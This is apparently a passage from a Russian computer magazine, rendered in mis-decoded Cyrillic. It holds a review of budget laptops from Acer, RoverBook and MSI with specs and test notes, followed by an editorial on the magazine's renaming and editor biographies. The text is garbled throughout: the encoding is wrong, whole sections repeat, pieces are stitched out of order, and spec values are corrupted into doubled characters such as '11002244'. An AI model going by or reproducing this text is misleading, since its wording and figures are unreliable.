òîâûé êîìïëåêò: áåí÷ìàðêè 3DMark 2001 SE, 3DMark 2003, 3DMark 2003,
PCMark 2004 è PCMark 2005. Ïðè ðàáîòå îò áàòàðåè ê íèì äîáàâëÿëàñü ïðîã-
ðàììà Battery Eater, ïðè ïîìîùè êîòîðîé ìû îïðåäåëÿëè âðåìÿ àâòîíîìíîé
ðàáîòû óñòðîéñòâà. Òàêæå ñ ïîìîùüþ êîëîðèìåòðà è óòèëèòû OptiCAL ìû
ñòðîèëè êîëîðèìåòðè÷åñêóþ äèàãðàììó äèñïëåÿ.
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Äîñòóïíàÿ ìîáèëüíîñòü

ACER TRAVELMATE
4222 WLMI
($1100) 6 áàëëîâ

ÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 11..6666,, IInntteell CCoorree DDuuoo TT22330000EE

ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 11002244

ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 15.4

ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: Intel GGMA 9950

ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 80

ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD+RW SSuper MMulti

ÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LLAN, BBluetooth, WWi-FFi

ÈÍÒÅÐÔÅÉÑÛ: USB, mmic, eear, PPC-CCard, VVGA

ÃÀÁÀÐÈÒÛ, ÌÌ: 364x274.75x30

ÂÅÑ, ÊÃ: 2.95

ïëþñû. Ñòèëüíî âûãëÿäÿùèé
íîóòáóê îò êîìïàíèè Acer, îáëàäàþ-
ùèé, ê òîìó æå, êó÷åé ôèðìåííûõ
óòèëèò è òåõíîëîãèé, óëó÷øàþùèõ
ðàáîòó âñåãî, ÷òî òîëüêî âîçìîæíî,
è äåëàþùèõ åå óäîáíåå è áåçîïàñ-
íåå. Ýêðàí ðàçìåðîì â 15.4" áîëü-
øîé è êà÷åñòâåííûé, öâåòà ÿðêèå,
è, âîîáùå, � ðàáîòàòü çà íèì ïðè-

ÿòíî. Â íàëè÷èè åñòü òàêæå âñòðîåí-
íûå ìèêðîôîí è web-êàìåðà. Êëàâè-
àòóðà ìÿãêàÿ è ïðèÿòíàÿ, îáëàäàåò
íåñêîëüêî íåîáû÷íîé ôîðìîé. Âíè-
çó òà÷ïàäà äîáàâëåíà êíîïêà-äæîéñ-
òèê äëÿ óïðàâëåíèÿ êóðñîðîì �
êîìó-òî íàâåðíÿêà ïðèäåòñÿ ïî äó-
øå. Ïðèÿòíî, ÷òî çà ýòèì êîìïîì 
òåáå íå ãðîçèò îäèíî÷åñòâî � ïîë-
íûé íàáîð ñðåäñòâ ñâÿçè ê òâîèì 
óñëóãàì (ìîäåì, LAN, Bluetooth, 
Wi-Fi). À äëÿ îáùåíèÿ ñ äðóãèìè íî-
ñèòåëÿìè åñòü óíèâåðñàëüíûé îïòè-
÷åñêèé ïðèâîä è êàðä-ðèäåð.

ìèíóñû. Âïå÷àòëåíèå îò íåï-
ëîõîé, â îáùåì, íà÷èíêå ïîðòèò
âñòðîåííûé âèäåîàäàïòåð, êîòîðûé
îïðåäåëåííî ìåøàåò ïîçíàòü âñå
ïðåëåñòè êà÷åñòâåííîãî ýêðàíà.
Èìåííî èç-çà íåãî íîóòáóê íå ïðî-
øåë òåñòû 3DMark 2005 è 2006,
äà è âîîáùå, ó÷èòûâàÿ êîíôèãóðà-
öèþ â öåëîì, ñòîëü íèçêèå ïîêàçà-
òåëè â òåñòàõ � ýòî åãî ðàáîòà.
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ROVERBOOK
NAUTILUS W550 WH
($1250) 9 áàëëîâ

ÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 22..00,, AAMMDD TTuurriioonn 6644 XX22 TTLL-6600

ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 11002244

ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 15.4

ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: 5256, NNVIDIA GGeForce GGo 77600

ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 100

ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD+RW DDL

ÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LLAN, BBluetooth, WWi-FFi

ÈÍÒÅÐÔÅÉÑÛ: USB, mmic, eear, PPC-CCard,

S-VVideo, DDVI, mmini FFireWire

ÃÀÁÀÐÈÒÛ, ÌÌ: 358õ259õ30

ÂÅÑ, ÊÃ: 2.9

ïëþñû. Íîóòáóê Rover î÷åíü
ïîõîæ íà 675-þ ìîäåëü îò MSI: ñðà-
çó áðîñàþòñÿ â ãëàçà ñõîæèå òåõíè-
÷åñêèå õàðàêòåðèñòèêè, ýëåìåíòû
äèçàéíà, à ãëàâíîå � íàëè÷èå ïîë-
íîöåííîãî NumPad'à. Àáñîëþòíî
èäåíòè÷íà è âñòðîåííàÿ web-êàìå-
ðà, íà òîì æå ìåñòå ðàñïîëîæåí
ìèêðîôîí. Íî íà÷èíêà ó äåòèùà
Rover ìîùíåå: áîëåå áûñòðûé ïðî-
öåññîð AMD Turion 64 X2 TL-60
(âìåñòî TL-56 ó Ì675) è áîëåå âìåñ-
òèòåëüíûé æåñòêèé äèñê (100 âìåñòî
80 Ãá). Ãèãàáàéò îïåðàòèâíîé ïàìÿ-
òè è âèäåîàäàïòåð NVIDIA GeForce
7600 Go ïðèñóòñòâóþò è íè÷åì îò
àíàëîãè÷íûõ êîìïîíåíòîâ â äåâàéñå
îò MSI íå îòëè÷àþòñÿ. Íî ãëàâíàÿ
ïðîáëåìà áûëà ðåøåíà: âðåìÿ àâòî-
íîìíîé ðàáîòû âïîëíå ïðèåìëåìîå
(ïî÷òè äâà ÷àñà), âñå òåñòû áûëè
ïðîéäåíû, ïðè÷åì ñ õîðîøèìè ðå-
çóëüòàòàìè, à âîñïîëíåíèå çàðÿäà
àêêóìóëÿòîðîâ ïðîèñõîäèò äîâîëüíî
áûñòðî. Òàê ÷òî íå ïåðåâåëèñü åùå
óìåëüöû íà Ðóñè!

ìèíóñû. Ê ñîæàëåíèþ, îñòà-
ëèñü âñå ïðîáëåìû ñ êíîïêàìè.
Èç-çà íàëè÷èÿ íàìïàäà óæàòà êëà-
âèàòóðà, ïðè íàáîðå òåêñòà áóäåøü
ïóòàòüñÿ. Òàêæå ïðèñóòñòâóþò
ñòðàøíåíüêèå è áîëüøèå áûñòðûå
êëàâèøè è êíîïêà Power.

MSI MEGABOOK
S430
($1199) 6 áàëëîâ

ÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 1.8, AAMD SSempron

ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 11002244

ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 14

ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: 256, NNVIDIA GGeForce GGo 66100

ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 60

ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD-RROM

ÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LLAN

ÈÍÒÅÐÔÅÉÑÛ: USB, mmic, eear, PPC-CCard, VVGA

ÃÀÁÀÐÈÒÛ, ÌÌ: 330x275x26

ÂÅÑ, ÊÃ: 2.1

ïëþñû. Ýòà ìîäåëü, ïî ñðàâíå-
íèþ ñ äðóãèì èçäåëèåì MSI èç íà-
øåãî îáçîðà, èìååò áîëåå ñòèëüíûé
âíåøíèé âèä è íåñêîëüêî óëó÷øåí-
íóþ ñèòóàöèþ ñ àâòîíîìíîé ðàáî-
òîé. Âðåìÿ æèçíè íîóòáóêà îò àêêó-
ìóëÿòîðà íåìíîãî âûðîñëî, íî è
ñêîðîñòü åãî çàðÿäêè òàêæå âîçðîñ-

ëà. Íàìïàä èñ÷åç, êëàâèàòóðà ñòàí-
äàðòíàÿ, ÷òî áëàãîïðèÿòíî ñêàçà-
ëîñü íà ðàçìåðàõ êëàâèø è âîîáùå
íà ðàñêëàäêå � íå ïóòàåøüñÿ ïðè
íàæàòèè. Êîðïóñ èìååò äâà öâåòà,
÷åðíûé è ñåðåáðÿíûé, ÷òî, âêóïå
ñ íîðìàëüíûì âèäîì êíîïêè Power,
ïîëîæèòåëüíî ñêàçàëîñü íà ýêñòåðü-
åðå óñòðîéñòâà. Ñòîèò îòìåòèòü íà-
ëè÷èå Wi-Fi àäàïòåðà è ìàëûå ãàáà-
ðèòû óñòðîéñòâà � ýòî ïðèãîäèòñÿ
òåì, êòî ïëàíèðóåò èñïîëüçîâàòü
åãî â äîðîãå.

ìèíóñû. Õîòü è óëó÷øåííàÿ,
ñèòóàöèÿ ñ àâòîíîìíûì ôóíêöèîíè-
ðîâàíèåì äîâîëüíî ïëà÷åâíà.
Òåñò PCMark 2005 òàê è íå áûë
ïðîéäåí � çàðÿäà íå õâàòèëî.
Âñòðîåííûå êîìïîíåíòû, äà è íå
âñòðîåííûå òîæå, äîâîëüíî ñëàáûå,
÷òî îáúÿñíÿåò òàêèå íåâûñîêèå 
ðåçóëüòàòû, ïîëó÷åííûå ýòèì 
óñòðîéñòâîì.
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òåõíîëîãèè. Â ñîâðåìåííûõ äåøåâûõ íîóòáóêàõ íàèáîëåå ÷àñòî
âñòðå÷àþòñÿ âñòðîåííûå âèäåîàäàïòåðû, êîòîðûå íå ñïîñîáíû íà âûñî-
êóþ ïðîèçâîäèòåëüíîñòü � ýòî íå ïîçâîëÿåò íà òàêèõ ëýïòîïàõ íàñëàæ-
äàòüñÿ òðåáîâàòåëüíûìè ê ãðàôèêå èãðàìè. Äà è îáùàÿ ïðîèçâîäèòåëü-
íîñòü, êàê ìû è ãîâîðèëè âûøå, è êàê ïîêàçûâàþò òåñòû, ïàäàåò. Âòîðîé
ïðîáëåìîé âûñòóïàåò ìàëîå âðåìÿ àâòîíîìíîé ðàáîòû. Íåêîòîðûå óñò-
ðîéñòâà íå ñìîãëè â ñâÿçè ñ ýòèì ïðîéòè â ðåæèìå àâòîíîìíîé ðàáîòû
òåñò PCMark 2005, çàðÿä â áàòàðåå ïðîñòî çàêàí÷èâàëñÿ ðàíüøå, ÷åì ñàì
òåñò. Ïîýòîìó åñëè òû ïëàíèðóåøü ðàáîòàòü â äîðîãå, òî îáðàòè íà ýòîò
ïàðàìåòð ñàìîå òùàòåëüíîå âíèìàíèå! Ê íåîñïîðèìûì ïëþñàì òàêèõ äå-
âàéñîâ îòíîñÿòñÿ ñèëüíûå îñíîâíûå êîìïîíåíòû (äâóÿäåðíûå ïðîöåññî-
ðû, êîëè÷åñòâî ïàìÿòè, óíèâåðñàëüíûå îïòè÷åñêèå ïðèâîäû è ò.ä.) è íà-
ëè÷èå âñåâîçìîæíûõ ñðåäñòâ ñâÿçè, âêëþ÷àÿ áåñïðîâîäíûå. Ê íåêîòîðûì
ìîáèëüíûì ÏÊ ïðèêëàäûâàþòñÿ îáøèðíûå íàáîðû ôèðìåííîãî ïðîãðàì-
ìíîãî îáåñïå÷åíèÿ, êîòîðûå äåëàþò ðàáîòó óñòðîéñòâà áîëåå áûñòðîé,
óäîáíîé è áåçîïàñíîé.

ìåòîäèêà òòåñòèðîâàíèÿ. ×òîáû âûÿñíèòü âñå ñàìûì òùàòåëüíûì îáðà-
çîì, ìû ðàçðàáîòàëè ñïåöèàëüíóþ ìåòîäèêó òåñòèðîâàíèÿ, êîòîðàÿ ó÷èòûâà-
åò âñå íþàíñû ðàáîòû ìîáèëüíûõ êîìïüþòåðîâ. Òåñòû ïðîâîäèëèñü â äâóõ
ðåæèìàõ: ïðè ïèòàíèè îò ñåòè è ïðè àâòîíîìíîé ðàáîòå. Â ñàìîì íà÷àëå
ñ ïîìîùüþ óòèëèòû Lavalys Everest ìû ïîëó÷àëè ïîäðîáíåéøóþ èíôîðìà-
öèþ î ñèñòåìå. Çàîäíî çàïóñêàëñÿ âñòðîåííûé â íåå ìîíèòîðèíã òåìïåðàòó-
ðû ïðîöåññîðà, ÷èïñåòà è æåñòêîãî äèñêà. Ïîòîì, èñïîëüçóÿ óòèëèòû S&M
(íàãðóçêà ïðîöåññîðà) è ThrottleWatch (ëîãèðóåò ÷àñòîòó ïðîöåññîðà, íàïðÿ-
æåíèå è íåêîòîðûå äðóãèå ïàðàìåòðû), ìû âûÿñíÿëè ïðàâèëüíîñòü ðàáîòû
äàííîãî ÏÊ ïî ñõåìàì ïèòàíèÿ Always On (ïðè ðàáîòå îò ñåòè) è Laptop (ïðè
ðàáîòå îò àêêóìóëÿòîðà). Äåëî â òîì, ÷òî åñëè îò ñåòè íîóòáóêè ðàáîòàþò
íîðìàëüíî, òî â ðåæèìå Laptop îíè ìîãóò âåñòè ñåáÿ «íåïðàâèëüíî» �
íå ñíèæàòü ÿðêîñòü ýêðàíà, íå ñáðàñûâàòü ÷àñòîòó ðàáîòû è íàïðÿæåíèå
ïðîöåññîðà, ÷òî íåãàòèâíî îòðàæàåòñÿ íà âðåìåíè ðàáîòû, è ðåçóëüòàòû òåñ-
òîâ ïîëó÷àþòñÿ íåêîððåêòíûìè. Åñëè âñå áûëî íîðìàëüíî, çàïóñêàëñÿ òåñ-
òîâûé êîìïëåêò: áåí÷ìàðêè 3DMark 2001 SE, 3DMark 2003, 3DMark 2003,
PCMark 2004 è PCMark 2005. Ïðè ðàáîòå îò áàòàðåè ê íèì äîáàâëÿëàñü ïðîã-
ðàììà Battery Eater, ïðè ïîìîùè êîòîðîé ìû îïðåäåëÿëè âðåìÿ àâòîíîìíîé
ðàáîòû óñòðîéñòâà. Òàêæå ñ ïîìîùüþ êîëîðèìåòðà è óòèëèòû OptiCAL ìû
ñòðîèëè êîëîðèìåòðè÷åñêóþ äèàãðàììó äèñïëåÿ.

hard
ÒÅÑÒÈÐÓÅÌ ÍÅÄÎÐÎÃÈÅ ÍÎÓÒÁÓÊÈ
Ñ Å Ð Ã Å É  Í È Ê È Ò È Í

Äîñòóïíàÿ ìîáèëüíîñòü

ACER TRAVELMATE
4222 WLMI
($1100) 6 áàëëîâ

ÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 11..6666,, IInntteell CCoorree DDuuoo TT22330000EE

ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 11002244

ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 15.4

ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: Intel GGMA 9950

ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 80

ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD+RW SSuper MMulti

ÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LLAN, BBluetooth, WWi-FFi

ÈÍÒÅÐÔÅÉÑÛ: USB, mmic, eear, PPC-CCard, VVGA

ÃÀÁÀÐÈÒÛ, ÌÌ: 364x274.75x30

ÂÅÑ, ÊÃ: 2.95

ïëþñû. Ñòèëüíî âûãëÿäÿùèé
íîóòáóê îò êîìïàíèè Acer, îáëàäàþ-
ùèé, ê òîìó æå, êó÷åé ôèðìåííûõ
óòèëèò è òåõíîëîãèé, óëó÷øàþùèõ
ðàáîòó âñåãî, ÷òî òîëüêî âîçìîæíî,
è äåëàþùèõ åå óäîáíåå è áåçîïàñ-
íåå. Ýêðàí ðàçìåðîì â 15.4" áîëü-
øîé è êà÷åñòâåííûé, öâåòà ÿðêèå,
è, âîîáùå, � ðàáîòàòü çà íèì ïðè-

ÿòíî. Â íàëè÷èè åñòü òàêæå âñòðîåí-
íûå ìèêðîôîí è web-êàìåðà. Êëàâè-
àòóðà ìÿãêàÿ è ïðèÿòíàÿ, îáëàäàåò
íåñêîëüêî íåîáû÷íîé ôîðìîé. Âíè-
çó òà÷ïàäà äîáàâëåíà êíîïêà-äæîéñ-
òèê äëÿ óïðàâëåíèÿ êóðñîðîì �
êîìó-òî íàâåðíÿêà ïðèäåòñÿ ïî äó-
øå. Ïðèÿòíî, ÷òî çà ýòèì êîìïîì 
òåáå íå ãðîçèò îäèíî÷åñòâî � ïîë-
íûé íàáîð ñðåäñòâ ñâÿçè ê òâîèì 
óñëóãàì (ìîäåì, LAN, Bluetooth, 
Wi-Fi). À äëÿ îáùåíèÿ ñ äðóãèìè íî-
ñèòåëÿìè åñòü óíèâåðñàëüíûé îïòè-
÷åñêèé ïðèâîä è êàðä-ðèäåð.

ìèíóñû. Âïå÷àòëåíèå îò íåï-
ëîõîé, â îáùåì, íà÷èíêå ïîðòèò
âñòðîåííûé âèäåîàäàïòåð, êîòîðûé
îïðåäåëåííî ìåøàåò ïîçíàòü âñå
ïðåëåñòè êà÷åñòâåííîãî ýêðàíà.
Èìåííî èç-çà íåãî íîóòáóê íå ïðî-
øåë òåñòû 3DMark 2005 è 2006,
äà è âîîáùå, ó÷èòûâàÿ êîíôèãóðà-
öèþ â öåëîì, ñòîëü íèçêèå ïîêàçà-
òåëè â òåñòàõ � ýòî åãî ðàáîòà.
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ROVERBOOK
NAUTILUS W550 WH
($1250) 9 áàëëîâ

ÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 22..00,, AAMMDD TTuurriioonn 6644 XX22 TTLL-6600

ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 11002244

ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 15.4

ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: 5256, NNVIDIA GGeForce GGo 77600

ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 100

ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD+RW DDL

ÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LLAN, BBluetooth, WWi-FFi

ÈÍÒÅÐÔÅÉÑÛ: USB, mmic, eear, PPC-CCard,

S-VVideo, DDVI, mmini FFireWire

ÃÀÁÀÐÈÒÛ, ÌÌ: 358õ259õ30

ÂÅÑ, ÊÃ: 2.9

ïëþñû. Íîóòáóê Rover î÷åíü
ïîõîæ íà 675-þ ìîäåëü îò MSI: ñðà-
çó áðîñàþòñÿ â ãëàçà ñõîæèå òåõíè-
÷åñêèå õàðàêòåðèñòèêè, ýëåìåíòû
äèçàéíà, à ãëàâíîå � íàëè÷èå ïîë-
íîöåííîãî NumPad'à. Àáñîëþòíî
èäåíòè÷íà è âñòðîåííàÿ web-êàìå-
ðà, íà òîì æå ìåñòå ðàñïîëîæåí
ìèêðîôîí. Íî íà÷èíêà ó äåòèùà
Rover ìîùíåå: áîëåå áûñòðûé ïðî-
öåññîð AMD Turion 64 X2 TL-60
(âìåñòî TL-56 ó Ì675) è áîëåå âìåñ-
òèòåëüíûé æåñòêèé äèñê (100 âìåñòî
80 Ãá). Ãèãàáàéò îïåðàòèâíîé ïàìÿ-
òè è âèäåîàäàïòåð NVIDIA GeForce
7600 Go ïðèñóòñòâóþò è íè÷åì îò
àíàëîãè÷íûõ êîìïîíåíòîâ â äåâàéñå
îò MSI íå îòëè÷àþòñÿ. Íî ãëàâíàÿ
ïðîáëåìà áûëà ðåøåíà: âðåìÿ àâòî-
íîìíîé ðàáîòû âïîëíå ïðèåìëåìîå
(ïî÷òè äâà ÷àñà), âñå òåñòû áûëè
ïðîéäåíû, ïðè÷åì ñ õîðîøèìè ðå-
çóëüòàòàìè, à âîñïîëíåíèå çàðÿäà
àêêóìóëÿòîðîâ ïðîèñõîäèò äîâîëüíî
áûñòðî. Òàê ÷òî íå ïåðåâåëèñü åùå
óìåëüöû íà Ðóñè!

ìèíóñû. Ê ñîæàëåíèþ, îñòà-
ëèñü âñå ïðîáëåìû ñ êíîïêàìè.
Èç-çà íàëè÷èÿ íàìïàäà óæàòà êëà-
âèàòóðà, ïðè íàáîðå òåêñòà áóäåøü
ïóòàòüñÿ. Òàêæå ïðèñóòñòâóþò
ñòðàøíåíüêèå è áîëüøèå áûñòðûå
êëàâèøè è êíîïêà Power.

MSI MEGABOOK
S430
($1199) 6 áàëëîâ

ÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 1.8, AAMD SSempron

ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 11002244

ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 14

ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: 256, NNVIDIA GGeForce GGo 66100

ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 60

ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD-RROM

ÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LLAN

ÈÍÒÅÐÔÅÉÑÛ: USB, mmic, eear, PPC-CCard, VVGA

ÃÀÁÀÐÈÒÛ, ÌÌ: 330x275x26

ÂÅÑ, ÊÃ: 2.1

ïëþñû. Ýòà ìîäåëü, ïî ñðàâíå-
íèþ ñ äðóãèì èçäåëèåì MSI èç íà-
øåãî îáçîðà, èìååò áîëåå ñòèëüíûé
âíåøíèé âèä è íåñêîëüêî óëó÷øåí-
íóþ ñèòóàöèþ ñ àâòîíîìíîé ðàáî-
òîé. Âðåìÿ æèçíè íîóòáóêà îò àêêó-
ìóëÿòîðà íåìíîãî âûðîñëî, íî è
ñêîðîñòü åãî çàðÿäêè òàêæå âîçðîñ-

ëà. Íàìïàä èñ÷åç, êëàâèàòóðà ñòàí-
äàðòíàÿ, ÷òî áëàãîïðèÿòíî ñêàçà-
ëîñü íà ðàçìåðàõ êëàâèø è âîîáùå
íà ðàñêëàäêå � íå ïóòàåøüñÿ ïðè
íàæàòèè. Êîðïóñ èìååò äâà öâåòà,
÷åðíûé è ñåðåáðÿíûé, ÷òî, âêóïå
ñ íîðìàëüíûì âèäîì êíîïêè Power,
ïîëîæèòåëüíî ñêàçàëîñü íà ýêñòåðü-
åðå óñòðîéñòâà. Ñòîèò îòìåòèòü íà-
ëè÷èå Wi-Fi àäàïòåðà è ìàëûå ãàáà-
ðèòû óñòðîéñòâà � ýòî ïðèãîäèòñÿ
òåì, êòî ïëàíèðóåò èñïîëüçîâàòü
åãî â äîðîãå.

ìèíóñû. Õîòü è óëó÷øåííàÿ,
ñèòóàöèÿ ñ àâòîíîìíûì ôóíêöèîíè-
ðîâàíèåì äîâîëüíî ïëà÷åâíà.
Òåñò PCMark 2005 òàê è íå áûë
ïðîéäåí � çàðÿäà íå õâàòèëî.
Âñòðîåííûå êîìïîíåíòû, äà è íå
âñòðîåííûå òîæå, äîâîëüíî ñëàáûå,
÷òî îáúÿñíÿåò òàêèå íåâûñîêèå 
ðåçóëüòàòû, ïîëó÷åííûå ýòèì 
óñòðîéñòâîì.



ÏÎÑËÅÄÍßß ÃÀÑÒÐÎËÜ ÀÐÒÈÑÒÀ-
ÑÎËÈÑÒÀ ÈÌÅÐÀÒÎÐÑÊÎÃÎ ÒÅÀÒÐÀ
ÄÐÀÌÛ È ÊÎÌÅÄÈÈ! ÑÅÌÜ ÄÎËÃÈÕ
ËÅÒ ÆÓÐÍÀË ÑÏÅÖ ÕÀÊÅÐ ÁÛË 
Ñ ÒÎÁÎÉ. È ÂÎÒ ÍÀÑÒÀË ÂÅËÈÊÈÉ
ÌÎÌÅÍÒ � ÌÎÌÅÍÒ ÈÑÒÈÍÛ. 
ÒÛ ÄÅÐÆÈØÜ Â ÐÓÊÀÕ ÏÎÑËÅÄÍÈÉ
ÍÎÌÅÐ ÆÓÐÍÀËÀ, ÍÀÇÛÂÀÞÙÅÃÎÑß
«ÑÏÅÖ». ÍÎ ÍÅ ÑÏÅØÈ
ÐÀÑÑÒÐÀÈÂÀÒÜÑß :), ÍÈ ÆÓÐÍÀË, 
ÍÈ ÅÃÎ ÊÎÌÀÍÄÀ ÍÀ ÑÀÌÎÌ ÄÅËÅ
ÍÈÊÓÄÀ ÍÅ ÄÅÍÓÒÑß. ÏÐÎÑÒÎ ÎÍ
ÁÓÄÅÒ ÍÀÇÛÂÀÒÜÑß ÏÎ-ÄÐÓÃÎÌÓ � 
«IT ÑÏÅÖ», È Â ÎÑÍÎÂÍÎÌ ÁÓÄÅÒ
ÐÀÑÑ×ÈÒÀÍ ÍÀ IT-ÑÏÅÖÈÀËÈÑÒÎÂ
ÐÀÇËÈ×ÍÛÕ ÊÎÌÏÀÍÈÉ, ÍÎ È ÏÐÎ
ÍÀØÈÕ ÄÎÐÎÃÈÕ ×ÈÒÀÒÅËÅÉ ÌÛ
ÇÀÁÛÂÀÒÜ ÍÅ ÍÀÌÅÐÅÍÛ :). Â ÍÎÂÎÌ
ÑÏÅÖÅ ÁÓÄÅÒ ÌÍÎÆÅÑÒÂÎ ÐÓÁÐÈÊ
(«ÁÅÇÎÏÀÑÍÎÑÒÜ»,
«ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÅ»,
«ÒÅÍÄÅÍÖÈÈ»), ÊÎÒÎÐÛÅ ÁÓÄÓÒ
ÈÍÒÅÐÅÑÍÛ È ÒÅÁÅ, À ÑÀÌ ÆÓÐÍÀË, 
Â ÎÒËÈ×ÈÈ ÎÒ ÊËÀÑÑÈ×ÅÑÊÈÕ B2B
ÈÇÄÀÍÈÉ, ÁÓÄÅÒ ÐÀÑÏÐÎÑÒÐÀÍßÒÜÑß
Â ÒÎÌ ×ÈÑËÅ È ÏÐÅÆÍÈÌ ÏÎÑÎÁÎÌ,
ÒÎ ÅÑÒÜ Â ÐÎÇÍÈÖÓ. ÎÄÍÀÊÎ ß
ÍÅÌÍÎÃÎ ÎÒÂËÅÊÑß ÍÀ ÁÓÄÓÙÅÅ.
ÑÅÃÎÄÍß ÆÅ ÌÛ ×ÅÑÒÂÓÅÌ ÊÎÌÀÍÄÓ
� ÏÎÝÒÎÌÓ ÂÑÒÐÅ×ÀÉ ÂÑÅÕ ÒÅÕ, ÊÒÎ
ÂÑÅ ÝÒÎ ÂÐÅÌß ÐÀÁÎÒÀË ÍÀ ÀÐÅÍÅ
ÁÅÇ ÑÒÐÀÕÎÂÊÈ.
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1
Àëåêñàíäð ËËîçîâñêèé
aka DDr.Klouniz
ðåäàêòîð

Äëÿ íà÷àëà îòêðîþ ñà-
ìóþ ñòðàøíóþ òàéíó �
ó ìåíÿ äåéñòâèòåëüíî
âûñøåå ìåäèöèíñêîå
îáðàçîâàíèå (ÿ çàêîí-
÷èë ìåäôàê ÐÓÄÍ) è ÿ
äåéñòâèòåëüíî íèêîãäà
íå ó÷èëñÿ íè â êàêèõ
òåõíè÷åñêèõ ÂÓÇ'àõ :).
Ìîÿ ïåðâàÿ ñòàòüÿ ïðî
êîäèíã ñíèôôåðà âûø-
ëà â Õàêåðå â 2001 ãî-
äó, â æóðíàëå, âèäîèç-
ìåíåííîì âåëèêèì ðå-
äèçàéíîì (âñå ïîìíÿò

áðóòàëüíóþ îáëîæêó 
ñ ãðÿçíîé íîãîé :)).
Ïîñëå ýòîãî, íåêîòîðîå
âðåìÿ â æóðíàë ÿ íè÷å-
ãî íå ïèñàë, çàòî ðåãó-
ëÿðíî îòìå÷àëñÿ íà
xakep.ru ïîñðåäñòâîì
ñòàòåé, ïîñâÿùåííûõ
íåêîòîðûì àñïåêòàì
âèðóñíîãî ïðîãðàììèí-
ãà íà Delphi :). Çàòåì ÿ
ïîëíîñòüþ ïåðåêëþ÷èë-
ñÿ íà ñòàòüè â êîäèíã
Õàêåðà, è íàêîíåö �
ïîãðóçèëñÿ â ðåäàêòîð-

ñòâî è âûïóñêàþùåå
ðåäàêòîðñòâî â îáåèõ
æóðíàëàõ (Ñïåö è Õà-
êåð, ýòî ïðîèçîøëî â
2003-ì, õîòÿ ñòîï, ïîñ-
êîëüêó òåïåðü âûïóñêà-
þùèé ðåäàêòîð äîëæåí
áûòü îôèñíûì ñîòðóä-
íèêîì, ÿ ïðîñòî âçÿë
íà ñåáÿ áîëüøå ðåäàê-
òîðñêîé ðàáîòû).

Ïî æèçíè � íà
äàííûé ìîìåíò òðó-
æóñü â ïðèåìíîì îòäå-
ëåíèè îäíîé ãîðîäñêîé

áîëüíèöû (ñóäÿ ïî
äåíüãàì � áîëüøå
õîááè, ðàáîòà � ýòî
âñå æå æóðíàëû :)),
ðàçâëåêàþ ñåáÿ ïîäíÿ-
òèåì òÿæåñòåé è îòæè-
ãàþ íà ôîðóìàõ òèïà
ÐÌÑ (forums.rusmed-
serv.com). À, íó åùå ïîñ-
ëóøèâàþ ìóçûêó, èíîã-
äà � òàêóþ æå ýêñòðå-
ìàëüíóþ, êàê Êàðàì-
íîôô, èíîãäà � ìåíåå
ýêñòðåìàëüíóþ, îáû÷-
íî � power metal.

7
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ëè÷íûé ñîñòàâ
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6
Íèêîëàé ××åðåïàíîâ
aka AAvaLANche
ãëàâíûé ððåäàêòîð

Ó ðóëÿ ñ 2003 ãîäà.
Ñîáñòâåííî, âñå, 
÷òî ïðîèñõîäèëî ñî
«ÑÏÅÖîì» çà ïîñëåä-
íèå òðè ñ ïîëîâèíîé
ãîäà è ïðîèñõîäèò 
ñåé÷àñ �  íà ìîåé ñî-
âåñòè. 

Ïîìèìî ðàáîòû â
æóðíàëå, çà ýòî âðåìÿ
ÿ óñïåë: ïîëó÷èòü äèï-
ëîì î âûñøåì îáðàçî-
âàíèè ïî ñïåöèàëüíîñ-
òè «Ôèçèêà», ñìåíèòü
ñïåöèàëüíîñòü, íî íå

ïðåäàòü ðîäíîé Ìîñêîâ-
ñêèé Óíèâåðñèòåò, ïîé-
äÿ íà âòîðîå âûñøåå,
ñïóñòèòü íåñêîëüêî ðàç
ïðåäïîñëåäíèå øòàíû
íà òþíèíã ñâîåãî àâòî-
